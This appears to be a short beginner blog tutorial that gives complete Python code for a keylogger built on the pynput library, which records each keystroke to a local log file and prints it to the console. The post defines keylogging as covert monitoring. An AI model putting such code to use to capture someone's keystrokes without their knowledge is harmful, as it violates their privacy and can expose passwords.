Keylogger Using Python1 min read

Well In this Post, We will Be Creating a Keylogger Using Python. And This is Going to Be Interseting Project And Any Beginner can Also Try This Project.

What is a Keylogger?

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

Modules Used In this Project:

pynput – This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported.

pip install pynput

Python Code:

# keylogger using pynput module

import pynput
from pynput.keyboard import Key, Listener

keys = []


def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))


def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            f.write(k)


            # every keystroke for readability
            f.write(' ')

def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False


with Listener(on_press=on_press,
              on_release=on_release) as listener:
    listener.join()

GitHub Repo

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